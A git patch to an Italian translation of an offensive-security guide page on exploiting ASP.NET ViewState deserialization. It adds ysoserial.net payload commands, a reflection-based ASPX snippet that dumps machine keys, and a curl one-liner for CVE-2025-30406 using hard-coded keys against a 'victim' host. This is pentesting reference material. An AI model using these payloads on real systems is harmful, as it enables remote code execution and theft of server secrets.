From 72c7b9be1bf1e6f86655b6227ffb9e27dc9aff88 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 10 Aug 2025 18:16:44 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p --- .../exploiting-__viewstate-parameter.md | 61 +++++++++++++++---- 1 file changed, 50 insertions(+), 11 deletions(-) diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index dfabc05fa..44d35f80a 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -24,11 +24,11 @@ L'immagine è una tabella che dettaglia diverse configurazioni per ViewState in 1. Per **qualsiasi versione di .NET**, quando sia MAC che Crittografia sono disabilitati, non è richiesto un MachineKey, e quindi non c'è un metodo applicabile per identificarlo. 2. Per **versioni inferiori a 4.5**, se il MAC è abilitato ma la Crittografia non lo è, è richiesto un MachineKey. Il metodo per identificare il MachineKey è chiamato "Blacklist3r." 3. Per **versioni inferiori a 4.5**, indipendentemente dal fatto che il MAC sia abilitato o disabilitato, se la Crittografia è abilitata, è necessario un MachineKey. Identificare il MachineKey è un compito per "Blacklist3r - Sviluppo Futuro." -4. Per **versioni 4.5 e superiori**, tutte le combinazioni di MAC e Crittografia (che siano entrambe true, o una sia true e l'altra false) richiedono un MachineKey. Il MachineKey può essere identificato utilizzando "Blacklist3r." +4. Per **versioni 4.5 e superiori**, tutte le combinazioni di MAC e Crittografia (sia che entrambi siano true, o uno sia true e l'altro false) richiedono un MachineKey. Il MachineKey può essere identificato utilizzando "Blacklist3r." ### Caso di Test: 1 – EnableViewStateMac=false e viewStateEncryptionMode=false -È anche possibile disabilitare completamente il ViewStateMAC impostando la chiave di registro `AspNetEnforceViewStateMac` su zero in: +È anche possibile disabilitare completamente il ViewStateMAC impostando la chiave di registro `AspNetEnforceViewStateMac` a zero in: ``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} ``` @@ -41,7 +41,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power ### Test case 1.5 – Come nel Test case 1 ma il cookie ViewState non viene inviato dal server Gli sviluppatori possono **rimuovere ViewState** affinché non diventi parte di una richiesta HTTP (l'utente non riceverà questo cookie).\ -Si potrebbe presumere che se **ViewState** non è **presente**, la loro implementazione è **sicura** da potenziali vulnerabilità derivanti dalla deserializzazione di ViewState.\ +Si potrebbe assumere che se **ViewState** non è **presente**, la loro implementazione è **sicura** da potenziali vulnerabilità derivanti dalla deserializzazione di ViewState.\ Tuttavia, non è così. Se **aggiungiamo il parametro ViewState** al corpo della richiesta e inviamo il nostro payload serializzato creato utilizzando ysoserial, saremo comunque in grado di ottenere **l'esecuzione di codice** come mostrato nel **Caso 1**. ### Test Case: 2 – .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false @@ -108,11 +108,11 @@ Nei casi in cui il parametro `_VIEWSTATEGENERATOR` **non viene inviato** dal ser ``` ### Test Case: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true -In questo caso non è noto se il parametro è protetto con MAC. Quindi, il valore è probabilmente crittografato e **hai bisogno della Machine Key per crittografare il tuo payload** per sfruttare la vulnerabilità. +In questo caso non è noto se il parametro è protetto con MAC. Quindi, il valore è probabilmente crittografato e avrai **bisogno della Machine Key per crittografare il tuo payload** per sfruttare la vulnerabilità. **In questo caso il** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modulo è in fase di sviluppo...** -**Prima di .NET 4.5**, ASP.NET può **accettare** un **parametro** \_`__VIEWSTATE`\_ **non crittografato** dagli utenti **anche** se **`ViewStateEncryptionMode`** è stato impostato su _**Always**_. ASP.NET **controlla solo** la **presenza** del parametro **`__VIEWSTATEENCRYPTED`** nella richiesta. **Se si rimuove questo parametro e si invia il payload non crittografato, verrà comunque elaborato.** +**Prima di .NET 4.5**, ASP.NET può **accettare** un parametro \_`__VIEWSTATE`\_ **non crittografato** dagli utenti **anche** se **`ViewStateEncryptionMode`** è stato impostato su _**Always**_. ASP.NET **controlla solo** la **presenza** del parametro **`__VIEWSTATEENCRYPTED`** nella richiesta. **Se si rimuove questo parametro e si invia il payload non crittografato, verrà comunque elaborato.** Pertanto, se gli attaccanti trovano un modo per ottenere la Machinekey tramite un'altra vulnerabilità come il file traversal, il comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizzato nel **Caso 2** può essere usato per eseguire RCE sfruttando la vulnerabilità di deserializzazione di ViewState. @@ -138,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw --IISDirPath = {Directory path of website in IIS} --TargetPagePath = {Target page path in application} ``` -Per una descrizione più dettagliata di IISDirPath e TargetPagePath [riferisciti qui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) +Per una descrizione più dettagliata di IISDirPath e TargetPagePath [fare riferimento qui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) Oppure, con [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (con un valore generatore): ```bash @@ -166,14 +166,13 @@ Devi usare un parametro in più per creare correttamente il payload: ``` ### Risultato di un'Esplorazione Riuscita -Per tutti i casi di test, se il payload ViewState YSoSerial.Net funziona **con successo**, il server risponde con “**500 Internal server error**” con contenuto della risposta “**Le informazioni di stato non sono valide per questa pagina e potrebbero essere corrotte**” e otteniamo la richiesta OOB. +Per tutti i casi di test, se il payload ViewState YSoSerial.Net funziona **con successo**, il server risponde con “**500 Internal server error**” con contenuto di risposta “**Le informazioni di stato non sono valide per questa pagina e potrebbero essere corrotte**” e otteniamo la richiesta OOB. Controlla per [ulteriori informazioni qui]() ### Dumping delle Chiavi della Macchina ASP.NET tramite Reflection (SharPyShell/SharePoint ToolShell) -Gli attaccanti che sono in grado di **caricare o eseguire codice ASPX arbitrario** all'interno della radice web target possono recuperare direttamente le chiavi segrete che proteggono `__VIEWSTATE` invece di forzarle. -Un payload minimo che rivela le chiavi sfrutta le classi interne .NET tramite reflection: +Gli attaccanti che sono in grado di **caricare o eseguire codice ASPX arbitrario** all'interno della radice web target possono recuperare direttamente le chiavi segrete che proteggono `__VIEWSTATE` invece di forzarle. Un payload minimo che rivela le chiavi sfrutta le classi interne .NET tramite reflection: ```csharp <%@ Import Namespace="System.Web.Configuration" %> <%@ Import Namespace="System.Reflection" %> @@ -199,14 +198,54 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \ --islegacy --minify curl "http://victim/page.aspx?__VIEWSTATE=" ``` -Questo **primitivo di key-exfiltration** è stato massicciamente sfruttato contro server SharePoint on-prem nel 2025 ("ToolShell" – CVE-2025-53770/53771), ma è applicabile a qualsiasi applicazione ASP.NET in cui un attaccante può eseguire codice lato server. +Questo **primitive di key-exfiltration** è stato massicciamente sfruttato contro server SharePoint on-prem nel 2025 ("ToolShell" – CVE-2025-53770/53771), ma è applicabile a qualsiasi applicazione ASP.NET in cui un attaccante può eseguire codice lato server. + +## Scenari di sfruttamento nel mondo reale 2024-2025 e chiavi macchina hard-coded + +### Ondata di “chiavi macchina pubblicamente divulgate” di Microsoft (Dic 2024 – Feb 2025) +Microsoft Threat Intelligence ha segnalato sfruttamenti di massa di siti ASP.NET in cui il *machineKey* era stato precedentemente leakato su fonti pubbliche (GitHub gists, post di blog, siti di paste). Gli avversari hanno enumerato queste chiavi e generato gadget validi `__VIEWSTATE` con i nuovi flag `ysoserial.net` 1.41 `--minify` e `--islegacy` per eludere i limiti di lunghezza del WAF: +```bash +ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \ +--validationkey= --validationalg=SHA1 \ +--decryptionkey= --decryptionalg=AES \ +--generator= --minify +``` +Ruotare le chiavi statiche o passare a chiavi *AutoGenerate* in Web .config (``) mitiga questa classe di attacchi. {{#ref}} + +{{#endref}} + +### CVE-2025-30406 – Chiavi hard-coded di Gladinet CentreStack / Triofox +Kudelski Security ha scoperto che diverse versioni di CentreStack / Triofox sono state distribuite con valori `machineKey` identici, consentendo l'esecuzione remota di codice non autenticato tramite la falsificazione di ViewState (CVE-2025-30406). + +Exploit in una riga: +```bash +ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \ +--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \ +--validationalg=SHA1 \ +--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \ +--decryptionalg=AES --generator=24D41AAB --minify \ +| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx +``` +Fissato in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – aggiorna o sostituisci immediatamente le chiavi. {{#ref}} + + +{{#endref}} ## Riferimenti +- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) +- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) +- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) +- [Introducing badsecrets – fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) +- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/) +- [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) +- [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/) - [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) - [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) - [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) - [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) -- [Catena di sfruttamento “ToolShell” di SharePoint (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/) +- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/) + + {{#include ../../banners/hacktricks-training.md}}